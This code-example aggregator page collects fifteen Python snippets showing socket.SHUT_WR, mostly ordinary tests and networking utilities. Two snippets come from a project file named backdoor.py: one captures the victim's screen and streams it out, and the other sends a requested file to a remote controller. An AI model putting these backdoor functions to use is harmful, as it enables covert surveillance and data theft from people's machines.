当前位置: 首页>>代码示例>>Python>>正文


Python socket.SHUT_WR属性代码示例

本文整理汇总了Python中socket.SHUT_WR属性的典型用法代码示例。如果您正苦于以下问题:Python socket.SHUT_WR属性的具体用法?Python socket.SHUT_WR怎么用?Python socket.SHUT_WR使用的例子?那么恭喜您, 这里精选的属性代码示例或许可以为您提供帮助。您也可以进一步了解该属性所在socket的用法示例。


在下文中一共展示了socket.SHUT_WR属性的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。

示例1: testSendUnix

# 需要导入模块: import socket [as 别名]
# 或者: from socket import SHUT_WR [as 别名]
def testSendUnix(self):
        if not hasattr(socket, "AF_UNIX"):
            pytest.skip("no unix domain sockets capability")
        SOCKNAME = "test_unixsocket"
        if os.path.exists(SOCKNAME):
            os.remove(SOCKNAME)
        ss = socketutil.create_socket(bind=SOCKNAME)
        cs = socketutil.create_socket(connect=SOCKNAME)
        socketutil.send_data(cs, b"foobar!" * 10)
        cs.shutdown(socket.SHUT_WR)
        a = ss.accept()
        data = socketutil.receive_data(a[0], 5)
        assert b"fooba" == data
        data = socketutil.receive_data(a[0], 5)
        assert b"r!foo" == data
        a[0].close()
        ss.close()
        cs.close()
        if os.path.exists(SOCKNAME):
            os.remove(SOCKNAME) 
开发者ID:irmen,项目名称:Pyro5,代码行数:22,代码来源:test_socketutil.py

示例2: end

# 需要导入模块: import socket [as 别名]
# 或者: from socket import SHUT_WR [as 别名]
def end(self):
        self.active=False
        comm='SHUTDOWN'
        if self.conn:self.TSpush(comm)
        self.log.out("Ending")
        try: self._sock.shutdown(socket.SHUT_WR)
        except: pass
        if self.tsserv: self.tsserv.active=False
        if self.tsserv: self.tsserv.join()
        self.log.out("end thread")
        self._sock.close()
        self.log.out("socket closed")
        if self.progress:self.progress.close()

        if settings.getSetting('engine-status') == "true": 
            try:lat123._close()
            except:pass 
        
        if self.canceled: stop_aceengine() 
开发者ID:tvaddonsco,项目名称:program.plexus,代码行数:21,代码来源:acecore.py

示例3: _set_socket

# 需要导入模块: import socket [as 别名]
# 或者: from socket import SHUT_WR [as 别名]
def _set_socket(self, new_socket):
        curr_socket = getattr(self, 'sock', None)
        if curr_socket:
            try:
                curr_socket.shutdown(socket.SHUT_WR)
            except:
                pass
            try:
                curr_socket.close()
            except:
                pass

        reader_thread = self.reader_thread = ReaderThread(new_socket)
        self.sock = new_socket
        reader_thread.start()

        # initial command is always the version
        self.write_version()
        self.log.append('start_socket')
        self.finished_initialization = True 
开发者ID:fabioz,项目名称:PyDev.Debugger,代码行数:22,代码来源:debugger_unittest.py

示例4: screenshot

# 需要导入模块: import socket [as 别名]
# 或者: from socket import SHUT_WR [as 别名]
def screenshot(s):
    name = tempdir + '/screenshot'+str(random.randint(0,1000000)) + '.png'
    if(os.name == 'posix'): # se for unix-like
        img = pyscreenshot.grab()
        img.save(name)
    elif(os.name == 'nt'): # se for windows
        img = ImageGrab.grab()
        img.save(name)

    with open(name ,'rb') as f: 
        l = f.read(1024)
        l = name + '+/-' + l
        while(l):
            s.send(l)
            l = f.read(1024)

    print('sent')
    s.shutdown(socket.SHUT_WR)
    os.remove(name) 
开发者ID:tarcisio-marinho,项目名称:RSB-Framework,代码行数:21,代码来源:backdoor.py

示例5: download

# 需要导入模块: import socket [as 别名]
# 或者: from socket import SHUT_WR [as 别名]
def download(s):
    filename = s.recv(1024)
    print(filename)
    if(os.path.isfile(filename)):
        with open(filename, 'rb') as f: 
            l = f.read(1024)
            l = 'True+/-' + l
            while(l):
                s.send(l)
                l = f.read(1024)

        print('sent')
        s.shutdown(s.SHUT_WR)

    else:
        s.send('False') 
开发者ID:tarcisio-marinho,项目名称:RSB-Framework,代码行数:18,代码来源:backdoor.py

示例6: _write_ready

# 需要导入模块: import socket [as 别名]
# 或者: from socket import SHUT_WR [as 别名]
def _write_ready(self):
        assert self._buffer, 'Data should not be empty'

        try:
            n = self._sock.send(self._buffer)
        except (BlockingIOError, InterruptedError):
            pass
        except Exception as exc:
            self._loop.remove_writer(self._sock_fd)
            self._buffer.clear()
            self._fatal_error(exc, 'Fatal write error on socket transport')
        else:
            if n:
                del self._buffer[:n]
            self._maybe_resume_protocol()  # May append to buffer.
            if not self._buffer:
                self._loop.remove_writer(self._sock_fd)
                if self._closing:
                    self._call_connection_lost(None)
                elif self._eof:
                    self._sock.shutdown(socket.SHUT_WR) 
开发者ID:Microvellum,项目名称:Fluid-Designer,代码行数:23,代码来源:selector_events.py

示例7: service_connection

# 需要导入模块: import socket [as 别名]
# 或者: from socket import SHUT_WR [as 别名]
def service_connection(key, mask):
    sock = key.fileobj
    data = key.data
    if mask & selectors.EVENT_READ:
        recv_data = sock.recv(BUFFER_SIZE)
        if recv_data:
            print('Received {} from connection {}'.format(repr(recv_data), data.connid))
            data.recv_total += len(recv_data)
        if not recv_data or data.recv_total == data.msg_total:
            print('Closing connection', data.connid)
            selector.unregister(sock)
            sock.close()
    if mask & selectors.EVENT_WRITE:
        if not data.outb and data.messages:
            data.outb = data.messages.pop(0).encode()
        if data.outb:
            print('Sending {} to connection {}'.format(repr(data.outb), data.connid))
            sent = sock.send(data.outb)
            sock.shutdown(socket.SHUT_WR)
            data.outb = data.outb[sent:] 
开发者ID:PacktPublishing,项目名称:Learning-Python-Networking-Second-Edition,代码行数:22,代码来源:tcp_client_selectors.py

示例8: main

# 需要导入模块: import socket [as 别名]
# 或者: from socket import SHUT_WR [as 别名]
def main() -> None:
    """Run the server."""
    try:
        ip = sys.argv[1]
        port = int(sys.argv[2])
    except (IndexError, ValueError):
        print("Usage: {} <BIND_IP> <PORT>".format(sys.argv[0]))
        sys.exit(1)

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server.bind((ip, port))
    server.listen(0)

    try:
        while True:
            print("Waiting for connection...")
            (stream, addr) = server.accept()
            print("Client connected: {}:{}".format(addr[0], addr[1]))
            handle_connection(stream)
            stream.shutdown(socket.SHUT_WR)
            stream.close()
    except KeyboardInterrupt:
        print("Received SIGINT: shutting down…") 
开发者ID:python-hyper,项目名称:wsproto,代码行数:26,代码来源:synchronous_server.py

示例9: shutdown_request

# 需要导入模块: import socket [as 别名]
# 或者: from socket import SHUT_WR [as 别名]
def shutdown_request(self, request):
        """Called to shutdown and close an individual request."""
        try:
            #explicitly shutdown.  socket.close() merely releases
            #the socket and waits for GC to perform the actual close.
            request.shutdown(socket.SHUT_WR)
        except socket.error:
            pass #some platforms may raise ENOTCONN here
        self.close_request(request) 
开发者ID:Soft8Soft,项目名称:verge3d-blender-addon,代码行数:11,代码来源:socketserver.py

示例10: finish_send

# 需要导入模块: import socket [as 别名]
# 或者: from socket import SHUT_WR [as 别名]
def finish_send(self):
        """Indicate to the remote server you are done with sending data
        """
        # shutdown socket for sending. only allow reading data afterwards
        self._socket.shutdown(socketlib.SHUT_WR) 
开发者ID:greenbone,项目名称:python-gvm,代码行数:7,代码来源:connections.py

示例11: testSend

# 需要导入模块: import socket [as 别名]
# 或者: from socket import SHUT_WR [as 别名]
def testSend(self):
        ss = socketutil.create_socket(bind=("localhost", 0))
        port = ss.getsockname()[1]
        cs = socketutil.create_socket(connect=("localhost", port))
        socketutil.send_data(cs, b"foobar!" * 10)
        cs.shutdown(socket.SHUT_WR)
        a = ss.accept()
        data = socketutil.receive_data(a[0], 5)
        assert b"fooba" == data
        data = socketutil.receive_data(a[0], 5)
        assert b"r!foo" == data
        a[0].close()
        ss.close()
        cs.close() 
开发者ID:irmen,项目名称:Pyro5,代码行数:16,代码来源:test_socketutil.py

示例12: send

# 需要导入模块: import socket [as 别名]
# 或者: from socket import SHUT_WR [as 别名]
def send(self):
        '''Ship the data to Zabbix.  Call as often as you like, though of course
        it's more efficient to call it just once after you've accumulated
        all of the data you'd like to send.

        The magic in here with structs is required to format everything for
        Zabbix' wire protocol.  If this breaks, it's time to dive into the
        Zabbix internals again.

        '''
        self.lock.acquire()
        if not self.data:
            self.lock.release()
            return # Nothing to send!
        if not self.no_send:
            response = {"request":"agent data", "clock":int(time.time()), "data":self.data}
            string = json.dumps(response)
            logging.debug(string)
            string_to_send = 'ZBXD\x01%s%s' % (struct.pack('<q', len(string)), string)
            s = socket.create_connection((self.zabbixserver, 10051))
            s.sendall(string_to_send)
            s.shutdown(socket.SHUT_WR)
            try:
                retstring = s.recv(5)   # Header, don't care: 'ZBXD\01'
                datalen = struct.unpack('<q',s.recv(8))[0] # Length of data being returned
                retstring = s.recv(datalen)               # Actual return string
                logging.debug(retstring)
            except Exception as e:
                logging.debug('ZAS.send: Failed to get a proper response: %s (%s)', retstring, e)
        self.clear()
        self.lock.release()
        return 
开发者ID:BrianGallew,项目名称:zabbix_tool,代码行数:34,代码来源:python_zabbix_assistant.py

示例13: _send_query

# 需要导入模块: import socket [as 别名]
# 或者: from socket import SHUT_WR [as 别名]
def _send_query(self, query):
        self.__socket.sendall(query)
        self.__socket.shutdown(socket.SHUT_WR)
        response = ''
        while True:
            r = self.__socket.recv(16)
            if r and r != '':
                response = ''.join((response, r))
            else:
                break
        return response 
开发者ID:vz-risk,项目名称:Verum,代码行数:13,代码来源:cymru_api.py

示例14: netcat

# 需要导入模块: import socket [as 别名]
# 或者: from socket import SHUT_WR [as 别名]
def netcat(hostname, port, content):
    mntr = ''
    conn = socket(AF_INET, SOCK_STREAM)
    conn.connect((hostname, port))
    conn.sendall(content)
    conn.shutdown(SHUT_WR)
    while True:
        data = conn.recv(1024)
        if data == '':
            break
        mntr += data
    conn.close()
    return mntr 
开发者ID:innogames,项目名称:igcollect,代码行数:15,代码来源:zookeeper.py

示例15: request_tcp

# 需要导入模块: import socket [as 别名]
# 或者: from socket import SHUT_WR [as 别名]
def request_tcp(host, port, message, timeout=5.0):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
        sock.connect((host, port))
        sock.send(message)
        sock.send(b'\n')
        sock.shutdown(socket.SHUT_WR)
        sock.settimeout(timeout)
        string = b''
        while True:
            data = sock.recv(65535)
            if not len(data):
                break
            string = string + data
        return string 
开发者ID:andersroos,项目名称:rankedftw,代码行数:16,代码来源:client.py


注:本文中的socket.SHUT_WR属性示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。